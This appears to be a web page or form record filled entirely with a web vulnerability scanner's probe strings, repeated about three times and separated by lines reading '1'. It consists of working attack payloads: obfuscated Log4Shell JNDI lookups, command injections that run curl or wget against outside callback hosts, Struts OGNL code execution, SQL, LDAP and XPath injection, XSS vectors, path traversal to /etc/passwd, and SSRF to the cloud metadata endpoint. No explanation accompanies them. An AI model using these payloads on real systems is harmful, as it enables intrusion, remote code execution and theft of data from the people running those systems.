$..[?(p="console.log(this.process.mainModule.require('child_process').execSync('curl e43de9eb939754dd897ca69c971a4cad3e569629.19819465393642422.812264191.oscomm15279701.oscomm.eu2.qualysperiscope.com.').toString())";QualysWAS=''[['constructor']][['constructor']](p);QualysWAS())]

1

__import__('os').popen('wget 3461596fa79b56373328a5e1258fa05292ca5891.19819465393642422.3772596655.oscomm15214101.oscomm.eu2.qualysperiscope.com.').read()

1

__import__('os').popen('curl a16ab1c0097c1d5635f02fe7aa1b00479ce697d6.19819465393642422.403234643.oscomm15214100.oscomm.eu2.qualysperiscope.com.').read()

1

@pd.core.frame.com.builtins.__import__("os").system("""curl a8476435dbe9df14352f04aa8f6b63af4051c2e5.19819465393642422.1554893349.oscomm15256401.oscomm.eu2.qualysperiscope.com.#""")

1

@pd.core.frame.com.builtins.__import__("os").system("""curl d46d16c0248e6247bfe1159832e07d3e737e96de.19819465393642422.3694489686.oscomm15256400.oscomm.eu2.qualysperiscope.com.#""")

1

${"".getClass().forName("java.net.InetAddress").getMethod("getByName","".getClass()).invoke("","c7c01fdfc53c06ce004387ce563dc88218d20065.19819465393642422.1394512711.oscomm15079701.oscomm.eu2.qualysperiscope.com.")}

1

1

${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}://4116b1f2f9d537b105c2e9946cc6733e95994d54.19819465393642422.3198732770.log4j12.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://84a0c078e0465b59b31891fef81295297c7d1cf7.19819465393642422.2624955642.log4j11.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${j${k8s:k5:-ND}i${sd:k5:-:}${lower:L}dap${sd:k5:-:}//ae4e2f5ffc6b38d2235aa0cee1de035b2425d99c.19819465393642422.2764343286.log4j10.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${jndi:dns://a2339b74f83bd6348df832504d84ecd5a77bf99e.19819465393642422.776356591.log4j09.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}l${lower:D}ap${sd:k5:-:}//1f99d9790482d8f6cf689375546b0ef39ad1b0ee.19819465393642422.2519322536.log4j08.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${jnd${123%ff:-${123%ff:-i:}}ldap://6e21c87a55060ee7806598379d6677ddaa28a4a7.19819465393642422.2332415730.log4j07.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${j${::-n}di:ldap${::-:}//f8e04a0a48c51614d40a2752b53b4aa5c102261a.19819465393642422.1098530609.log4j06.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://edde0f804ed2fff926caf97ffd0c97cdc1fd3407.19819465393642422.4284198657.log4j05.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://1ff006a8fd5d57a2285968d1523faca98d8e455c.19819465393642422.2482112066.log4j04.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${jndi:rmi://a2ca850ae482a5489a486a206748e3796a0b90f1.19819465393642422.3232749486.log4j03.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${jndi:ldap://92d4d006a8601b382d081c6e678bf8ff43fe23ea.19819465393642422.2881556686.log4j02.log4j.eu2.qualysperiscope.com./QualysWAS}

1

95adebecd49e46788bb94a0e909b1a121e7730ba.19819465393642422.1050930883.ssrf02.ssrf.eu2.qualysperiscope.com.

1

http://03250f3c2aef1fcfeddc3aec6a705116f6b1c846.19819465393642422.194212291.ssrf01.ssrf.eu2.qualysperiscope.com.

1

Joe+ bcc:was_engine@b24493031e3760bfd7f13c187d7b415589229c63.19819465393642422.881553955.smtphi01.smtp.eu2.qualysperiscope.com.

1

1)(|(uidNumber=*)

1

1)(|(gidNumber=*)

1

1)(|(homeDirectory=*)

1

1)(|(uid=*)

1

1)(|(objectclass=*)

1

1*

1

1)(|(cn=*))

1

1*(|(objectclass=*))

1

1)(uid=*))(|(uid=*

1

1)(attribute2=*)

1

QualysWAS${150797*150797}QualysWAS

1

${''.getClass().forName('java.lang.Runtime').getMethods()[6].toString()}

1

QualysWAS${"150898".toString().replace("8", "7")}QualysWAS

1

https://community.qualys.com/

1

http://169.254.169.254/latest/meta-data/

1

function(){qxss6924xEPy};

1

qualyswas:

1

(23.0231*213.759)

1

;echo 23.0231*213.759;//{@math key=4335.158242899999 method="add" operand=586.23659/} /* #set($value=23.0231*213.759) $value */

1

1

|aaaa =(23.0231*213.759) |${23.0231*213.759}{23.0231*213.759}4921.3948329(23.0231*213.7591)=(23.0231*213.759)#{23.0231*213.759}

1

!@#$%^&*()

1

!@#$%^&*()1

1

1!@#$%^&*()

1

1

1

"-qxssquv6Uo84()-"

1

'-qxss6WJ4Q2E5()-'

1

*/;(function(){qxssVO3Tu22S});/*

1

9 ;(function(){qxss251W60a9});//

1

9;(function(){qxss50mXIVo3});//

1

';(function(){qxss1qksA8NN});/**/'

1

qualys(aqxss04M8JQrR)xyz

1

");(function(){qxss8NNvYe5W});/**/"

1

";(function(){qxsslApYis0n});/**/"

1

javascript:qxss(X140422211400048Y1_2Z);

1

http://rfitest/

1

|netstat -an

1

a(){}phpinfo(); function a

1

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#str1='A2B8C3').(#str2='q2d1hi3j').(#str3='B4D7e6').(#str=#str2+':QQ:'+#str1+':PP:'+#str3).(#cmd='echo '+ #str).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

1

%25{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#str1='A2B8C3').(#str2='q9d4hi5j').(#str3='R9D7e8').(#str=#str2+':QQ:'+#str1+':TT:'+#str3).(#cmd='echo '+ #str).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

1

%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#str1='A2B8C3').(#str2='q9d4hi5j').(#str3='R9D7e8').(#str=#str2+':QQ:'+#str1+':TT:'+#str3).(#cmd='echo '+ #str).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

1

....//....//....//....//....//....//etc/passwd

1

php://filter/read=string.rot13/resource=/etc/passwd

1

../../../../../../../Windows/System32/drivers/etc/hosts

1

../../../../../../../Windows/System32/drivers/etc/hosts

1

//....//....//....//....//....//....//....//etc/passwd

1

//..//..//..//..//..//..//..//etc/passwd

1

../../../../../../../etc/passwd

1

/../../../../../../../etc/passwd

1

/../../../../../../../etc/passwd

1

1

1e309

1

(

1

,

1

``

1

/*

1

#

1

;--

1

1'

1

qualyswasesi

1

q Qualys_resp_hdr_injection: Vulnerable

1

q Qualys_resp_hdr_injection: Vulnerable

1

q Content-Type:text/html Content-Length: 190 HTTP/1.1 200 OK Content-Type: text/html Set-Cookie: a=q Content-Length: 2 AA

1

111222

1

1

1

%3cscript z%3e_q(y)%3c/script%3e

1

< script a=4>qsscEwsN2yA=7< /script>

1

" onEvent=X140422211400048Y1_2Z

1

' onEvent=X140422211400048Y1_2Z

1

"'>

1

1

BODY{background:url("javascript:qssW1Vv6sz0=7")}

1

1">

1

1

1

"'>

1

1

1

1

1 _q_q=random(5dQ1uG3d)

1

_q=random(X140422211400048Y1_2Z)

1

_q=random(X140422211400048Y1_2Z)

1

"'>

1

z-->

1

1"'>

1

">

1

javascript:qxss(X140422211400048Y1_2Z);

1

" onEvent=X140422211400048Y1_2Z

1

' onEvent=X140422211400048Y1_2Z

1

_q=random(X140422211400048Y1_2Z)

1

"'>

1

1

1(#context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]= new java.lang.Boolean(true), @java.lang.Thread@sleep(28*1000))

require('child_process').execSync('sleep 29').toString()

1

1

__import__('os').popen('sleep 29').read()

1

1' + sleep(29*100*Math.sqrt(100)) + '

1

1'; var djci=sleep(29*1000) + '

1

1'; var djci=sleep(29*1000);//

1

1' OR (SELECT 1337 FROM (SELECT(SLEEP(29)))prime) AND 'qualys'='qualys

1

1' WHERE 1337=1337 AND (SELECT 1319 FROM (SELECT(SLEEP(29)))qualys)-- prime

1

1(SELECT 0 FROM (SELECT SLEEP(29))qsqli_3333) /*'XOR (SELECT 0 FROM (SELECT SLEEP(29))qsqli_3333); -- OR'|"XOR (SELECT 0 FROM (SELECT SLEEP(29))qsqli_3333); -- OR"*/

1

1;SELECT sleep(29); --

1

1' + (SELECT 0 FROM (SELECT SLEEP(29))qsqli_2222) + '

1

1 + (SELECT 0 FROM (SELECT SLEEP(29))qsqli_1111)

1

1',0,0);WAITFOR DELAY'00:00:29'--

1

1');WAITFOR DELAY '00:00:29'--

1

1';WAITFOR DELAY '00:00:29'--

1

1);WAITFOR DELAY '00:00:29'--

1

1;WAITFOR DELAY '00:00:29';

1

1WAITFOR DELAY '00:00:29'

1

|ping -c2 -i91 localhost|

1

|ping -c2 -i56 localhost

1

ping -c2 -i91 localhost

1

aaaa&ping -n 92 localhost&

1

1

1

1

1

1

1

1" and not(true()) or "false" = "true

1" or not(false()) or "true" = "true

1" and false() and "or" = "and

1

1" or true() or "and" = "and

1

1

1 and not(true()) or 'false' = 'true'

1

1 or not(false()) or 'true' = 'true'

1 and false() and 'or' = 'and'

1

1 or true() or 'and' = 'and'

1

1

1' and not(true()) or 'false' = 'true

1

1' or not(false()) or 'true' = 'true

1' and false() and 'or' = 'and

1

1' or true() or 'and' = 'and

1

1

1

15 oR 9=9 + 1

15 oR 9=8 + 1

11 or 11=12

1

11 or 11=11

1' /* or __Q_1__ */aND ' oR mktrs'=' aND ljhgy

1' /* or __Q_1__ */oR ' aND xqlkp'=' aND xqlkp

1

1

1' and 'tpklq'='xqlkp

1

1

1' or 'tpklq'='tpklq

1

1') /* or __Q_1__ */aND ' oR tyhjg'=' aND tyhgd

1

1') /* or __Q_1__ */oR ' aND ptqws'=' aND ptqws

1

1') and 'swqtp'='ptqws

1

1') or 'swqtp'='swqtp

1 aND 7248=2491 + 4756

1 aND 7248=2491 + 4757

1 and 7248 IS NULL

1

1

1

1

1 and NULL IS NULL

1

1 oR 6248=2491 + 3756

1

1 oR 6248=2491 + 3757

1

1 or 6248 IS NULL

1

1 or NULL IS NULL

1 /* or __Q_1__ */aND 4325=1597 + 2729 -- oR 2728

1

1 /* or __Q_1__ */oR 4325=1597 + 2728 -- aND 2729

1

1 and 4325=2728 --

1

1

1 or 4325=4325 --

1

1' /* or __Q_1__ */aND 3789=2398 + 1390 -- oR 1391

1

1' /* or __Q_1__ */oR 3789=2398 + 1391 -- aND 1390

1

1' and 3789=1391 --

1

1' or 3789=3789 --

1

1') /* or __Q_1__ */aND 2634=1511 + 1124 -- oR 1123

1

1') /* or __Q_1__ */oR 2634=1511 + 1123 -- aND 1124

1

1') and 2634=1123 --

1

1') or 2634=2634 --

1

1

1

file:///etc/passwd

1

1

1

http://localhost:19096

1

$..[?(p="console.log(this.process.mainModule.require('child_process').execSync('curl 9a75b3cfcc5e334c1ead0b78b929a617bffab8f6.19809652393642422.1220172585.oscomm15279701.oscomm.eu2.qualysperiscope.com.').toString())";QualysWAS=''[['constructor']][['constructor']](p);QualysWAS())]

1

__import__('os').popen('wget 55222963b8cfb48e0adade0d1a665d6b25843e3f.19809652393642422.592242301.oscomm15214101.oscomm.eu2.qualysperiscope.com.').read()

1

__import__('os').popen('curl 7291d1d5254f51eb65e82f5e8a6ae49b429fbc79.19809652393642422.610739900.oscomm15214100.oscomm.eu2.qualysperiscope.com.').read()

1

@pd.core.frame.com.builtins.__import__("os").system("""curl 169f6476abe4b895bd16697519f44bc715723432.19809652393642422.3623384720.oscomm15256401.oscomm.eu2.qualysperiscope.com.#""")

1

@pd.core.frame.com.builtins.__import__("os").system("""curl 12b72728f5b910a07d1246096743b1c76fb7c2b7.19809652393642422.3327535651.oscomm15256400.oscomm.eu2.qualysperiscope.com.#""")

1

${"".getClass().forName("java.net.InetAddress").getMethod("getByName","".getClass()).invoke("","49d745e2f900a90956d9746a03ab7cfeb699542c.19809652393642422.2097481405.oscomm15079701.oscomm.eu2.qualysperiscope.com.")}

1

1

${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}://b1647917ab0c107a2d09f187757b757091ac5b66.19809652393642422.1005602414.log4j12.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://93dfc1f2ea0bd0561d45becbb831015b4542976a.19809652393642422.3664492290.log4j11.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${j${k8s:k5:-ND}i${sd:k5:-:}${lower:L}dap${sd:k5:-:}//76942d995efa8b1d048e5af564cabdeb6d8960c3.19809652393642422.3822571161.log4j10.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${jndi:dns://e8ee7a55a931c863aba7addbd421058a3a71848f.19809652393642422.3112076954.log4j09.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}l${lower:D}ap${sd:k5:-:}//3aeba6d3b87cf6dec865f18714192965c7356d20.19809652393642422.3696209057.log4j08.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${jnd${123%ff:-${123%ff:-i:}}ldap://527e0c45b67432195609bd84eaa223977d59a415.19809652393642422.833612342.log4j07.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${j${::-n}di:ldap${::-:}//e5188e8ed9647b488aa02a78148597a67db5ac8f.19809652393642422.4208793096.log4j06.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://6e28f0f1b58ed0bd5a1e6c036e28ce6d1d244c48.19809652393642422.1142002529.log4j05.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://83a00aed59a49d5309da55f3650d48ecb82daa16.19809652393642422.2135977648.log4j04.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${jndi:rmi://d71498887273102618e5b47ad31b5fe208df32a1.19809652393642422.129838072.log4j03.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${jndi:ldap://352b1a02d4040cbd7d98d34ea2fe8b33391dafd9.19809652393642422.17093932.log4j02.log4j.eu2.qualysperiscope.com./QualysWAS}

1

42d85152549fcf41507a4c773ea536b40f93ee63.19809652393642422.454994758.ssrf02.ssrf.eu2.qualysperiscope.com.

1

http://8e5ce77d59e950a75fcea3271c80e244d0355e74.19809652393642422.2681905930.ssrf01.ssrf.eu2.qualysperiscope.com.

1

Joe+ bcc:was_engine@2c21bf51ac2a93d556da1ff9c03cfaf91f1b30a3.19809652393642422.1301291632.smtphi01.smtp.eu2.qualysperiscope.com.

1

1)(|(uidNumber=*)

1

1)(|(gidNumber=*)

1

1)(|(homeDirectory=*)

1

1)(|(uid=*)

1

1)(|(objectclass=*)

1

1*

1

1)(|(cn=*))

1

1*(|(objectclass=*))

1

1)(uid=*))(|(uid=*

1

1)(attribute2=*)

1

QualysWAS${150797*150797}QualysWAS

1

${''.getClass().forName('java.lang.Runtime').getMethods()[6].toString()}

1

QualysWAS${"150898".toString().replace("8", "7")}QualysWAS

1

https://community.qualys.com/

1

http://169.254.169.254/latest/meta-data/

1

function(){qxsstsbP0v3E};

1

qualyswas:

1

(23.0231*213.759)

1

;echo 23.0231*213.759;//{@math key=4335.158242899999 method="add" operand=586.23659/} /* #set($value=23.0231*213.759) $value */

1

1

|aaaa =(23.0231*213.759) |${23.0231*213.759}{23.0231*213.759}4921.3948329(23.0231*213.7591)=(23.0231*213.759)#{23.0231*213.759}

1

!@#$%^&*()

1

!@#$%^&*()1

1

1!@#$%^&*()

1

1

1

"-qxss8mcbB9Lb()-"

1

'-qxssQ5CsC93C()-'

1

*/;(function(){qxsstvN3cGCi});/*

1

9 ;(function(){qxssxp5zxRK1});//

1

9;(function(){qxss841JQBK8});//

1

';(function(){qxss8JRCU011});/**/'

1

qualys(aqxss0N592Et3)xyz

1

");(function(){qxssS28x1D6i});/**/"

1

";(function(){qxsspwD289Oy});/**/"

1

javascript:qxss(X140358793406464Y1_2Z);

1

http://rfitest/

1

|netstat -an

1

a(){}phpinfo(); function a

1

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#str1='A2B8C3').(#str2='q2d1hi3j').(#str3='B4D7e6').(#str=#str2+':QQ:'+#str1+':PP:'+#str3).(#cmd='echo '+ #str).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

1

%25{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#str1='A2B8C3').(#str2='q9d4hi5j').(#str3='R9D7e8').(#str=#str2+':QQ:'+#str1+':TT:'+#str3).(#cmd='echo '+ #str).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

1

%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#str1='A2B8C3').(#str2='q9d4hi5j').(#str3='R9D7e8').(#str=#str2+':QQ:'+#str1+':TT:'+#str3).(#cmd='echo '+ #str).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

1

....//....//....//....//....//....//etc/passwd

1

php://filter/read=string.rot13/resource=/etc/passwd

1

../../../../../../../Windows/System32/drivers/etc/hosts

1

../../../../../../../Windows/System32/drivers/etc/hosts

1

//....//....//....//....//....//....//....//etc/passwd

1

//..//..//..//..//..//..//..//etc/passwd

1

../../../../../../../etc/passwd

1

/../../../../../../../etc/passwd

1

/../../../../../../../etc/passwd

1

1

1e309

1

(

1

,

1

``

1

/*

1

#

1

;--

1

1'

1

qualyswasesi

1

q Qualys_resp_hdr_injection: Vulnerable

1

q Qualys_resp_hdr_injection: Vulnerable

1

q Content-Type:text/html Content-Length: 190 HTTP/1.1 200 OK Content-Type: text/html Set-Cookie: a=q Content-Length: 2 AA

1

111222

1

1

1

%3cscript z%3e_q(y)%3c/script%3e

1

< script a=4>qssnVCA0V6q=7< /script>

1

" onEvent=X140358793406464Y1_2Z

1

' onEvent=X140358793406464Y1_2Z

1

"'>

1

1

BODY{background:url("javascript:qss2y6GR3K9=7")}

1

1">

1

1

1

"'>

1

1

1

1

1 _q_q=random(l3q9yydA)

1

_q=random(X140358793406464Y1_2Z)

1

_q=random(X140358793406464Y1_2Z)

1

"'>

1

z-->

1

1"'>

1

">

1

javascript:qxss(X140358793406464Y1_2Z);

1

" onEvent=X140358793406464Y1_2Z

1

' onEvent=X140358793406464Y1_2Z

1

_q=random(X140358793406464Y1_2Z)

1

"'>

1

1

1(#context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]= new java.lang.Boolean(true), @java.lang.Thread@sleep(28*1000))

1

require('child_process').execSync('sleep 29').toString()

1

__import__('os').popen('sleep 29').read()

1

1' + sleep(29*100*Math.sqrt(100)) + '

1

1'; var djci=sleep(29*1000) + '

1

1'; var djci=sleep(29*1000);//

1

1' OR (SELECT 1337 FROM (SELECT(SLEEP(29)))prime) AND 'qualys'='qualys

1

1' WHERE 1337=1337 AND (SELECT 1319 FROM (SELECT(SLEEP(29)))qualys)-- prime

1

1(SELECT 0 FROM (SELECT SLEEP(29))qsqli_3333) /*'XOR (SELECT 0 FROM (SELECT SLEEP(29))qsqli_3333); -- OR'|"XOR (SELECT 0 FROM (SELECT SLEEP(29))qsqli_3333); -- OR"*/

1

1;SELECT sleep(29); --

1

1' + (SELECT 0 FROM (SELECT SLEEP(29))qsqli_2222) + '

1

1 + (SELECT 0 FROM (SELECT SLEEP(29))qsqli_1111)

1

1',0,0);WAITFOR DELAY'00:00:29'--

1

1');WAITFOR DELAY '00:00:29'--

1

1';WAITFOR DELAY '00:00:29'--

1

1);WAITFOR DELAY '00:00:29'--

1

1;WAITFOR DELAY '00:00:29';

1

1WAITFOR DELAY '00:00:29'

1

|ping -c2 -i91 localhost|

1

|ping -c2 -i56 localhost

1

ping -c2 -i91 localhost

1

aaaa&ping -n 92 localhost&

1

1

1

1

1" and not(true()) or "false" = "true

1" or not(false()) or "true" = "true

1

1" and false() and "or" = "and

1

1

1

1" or true() or "and" = "and

1 and not(true()) or 'false' = 'true'

1 or not(false()) or 'true' = 'true'

1

1 and false() and 'or' = 'and'

1

1

1

1 or true() or 'and' = 'and'

1

1' and not(true()) or 'false' = 'true

1

1' or not(false()) or 'true' = 'true

1

1' and false() and 'or' = 'and

1

1' or true() or 'and' = 'and

15 oR 9=9 + 1

1

15 oR 9=8 + 1

1

11 or 11=12

1

1

11 or 11=11

1

1

1

1' /* or __Q_1__ */aND ' oR mktrs'=' aND ljhgy

1' /* or __Q_1__ */oR ' aND xqlkp'=' aND xqlkp

1

1' and 'tpklq'='xqlkp

1' or 'tpklq'='tpklq

1

1

1') /* or __Q_1__ */aND ' oR tyhjg'=' aND tyhgd

1

1') /* or __Q_1__ */oR ' aND ptqws'=' aND ptqws

1') and 'swqtp'='ptqws

1

1') or 'swqtp'='swqtp

1

1 aND 7248=2491 + 4756

1

1 aND 7248=2491 + 4757

1

1 and 7248 IS NULL

1

1 and NULL IS NULL

1

1

1 oR 6248=2491 + 3756

1

1 oR 6248=2491 + 3757

1

1 or 6248 IS NULL

1 or NULL IS NULL

1

1

1

1 /* or __Q_1__ */aND 4325=1597 + 2729 -- oR 2728

1 /* or __Q_1__ */oR 4325=1597 + 2728 -- aND 2729

1

1 and 4325=2728 --

1 or 4325=4325 --

1

1

1

1' /* or __Q_1__ */aND 3789=2398 + 1390 -- oR 1391

1' /* or __Q_1__ */oR 3789=2398 + 1391 -- aND 1390

1' and 3789=1391 --

1

1' or 3789=3789 --

1

1

1') /* or __Q_1__ */aND 2634=1511 + 1124 -- oR 1123

1') /* or __Q_1__ */oR 2634=1511 + 1123 -- aND 1124

1

1') and 2634=1123 --

1

1') or 2634=2634 --

1

1

1

file:///etc/passwd

1

1

1

http://localhost:19096

1

$..[?(p="console.log(this.process.mainModule.require('child_process').execSync('curl 174162bf44c3d2da9f53f5ea9efd5c8224cd9931.19786663393642422.3579699727.oscomm15279701.oscomm.eu2.qualysperiscope.com.').toString())";QualysWAS=''[['constructor']][['constructor']](p);QualysWAS())]

1

__import__('os').popen('wget 5e7dc6db0970ac69432e157969c2c1d198793180.19786663393642422.292828733.oscomm15214101.oscomm.eu2.qualysperiscope.com.').read()

1

__import__('os').popen('curl f681220dc6f5ce907f43292d5eaf74030f11cd7c.19786663393642422.250878026.oscomm15214100.oscomm.eu2.qualysperiscope.com.').read()

1

@pd.core.frame.com.builtins.__import__("os").system("""curl ae20dfae7215516c58b31463b741127b50dcb124.19786663393642422.2775837102.oscomm15256401.oscomm.eu2.qualysperiscope.com.#""")

1

@pd.core.frame.com.builtins.__import__("os").system("""curl fa58ea6a4e52405a2872378f8ae7247028c182e4.19786663393642422.2493354244.oscomm15256400.oscomm.eu2.qualysperiscope.com.#""")

1

${"".getClass().forName("java.net.InetAddress").getMethod("getByName","".getClass()).invoke("","14fcece1dc0cdfc88e1a11d7e05c3b7e09dd1403.19786663393642422.1413787926.oscomm15079701.oscomm.eu2.qualysperiscope.com.")}

1

1

${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}://858c6d1ef75f326fd03733a8a3f9819428cb0b52.19786663393642422.1844758513.log4j12.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://91bf8656e40f810d942e4fee6ea7d6713043378c.19786663393642422.2596268559.log4j11.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${j${k8s:k5:-ND}i${sd:k5:-:}${lower:L}dap${sd:k5:-:}//2e4cd040969bf5b4fe9efc0903e2b45facfeee02.19786663393642422.2952050670.log4j10.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${jndi:dns://e9a964661bc388cc9efde9478abc594e9a05b832.19786663393642422.1896191180.log4j09.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}l${lower:D}ap${sd:k5:-:}//c2bef1955a01cfc4ad7cede8d8b7828a58b60134.19786663393642422.1854903092.log4j08.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${jnd${123%ff:-${123%ff:-i:}}ldap://00140b7ddded5c34f3c087d04da07bad0baf82b2.19786663393642422.153593989.log4j07.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${j${::-n}di:ldap${::-:}//e07e074f4e9cc188465bac71a2fd3f5ee8b9fe7b.19786663393642422.2562631286.log4j06.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://6e6b37eefc050f413a3e9fc5f28a4eaa48345871.19786663393642422.154526515.log4j05.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://ae9d0cc8fa509e39b21552d7f849c87089972bb4.19786663393642422.1112088390.log4j04.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${jndi:rmi://f2810aed50d30ab3a4b55d29536148905e99ee33.19786663393642422.4290603762.log4j03.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${jndi:ldap://581dbaf1e3c5e570a32936437785f36bd0696c8b.19786663393642422.2586911086.log4j02.log4j.eu2.qualysperiscope.com./QualysWAS}

1

8c16fb9730c710a7af9ddf47790600b99bb5a612.19786663393642422.677793258.ssrf02.ssrf.eu2.qualysperiscope.com.

1

http://9c7ba829378ec65f960c92fcb70535eab218a1ba.19786663393642422.2666138857.ssrf01.ssrf.eu2.qualysperiscope.com.

1

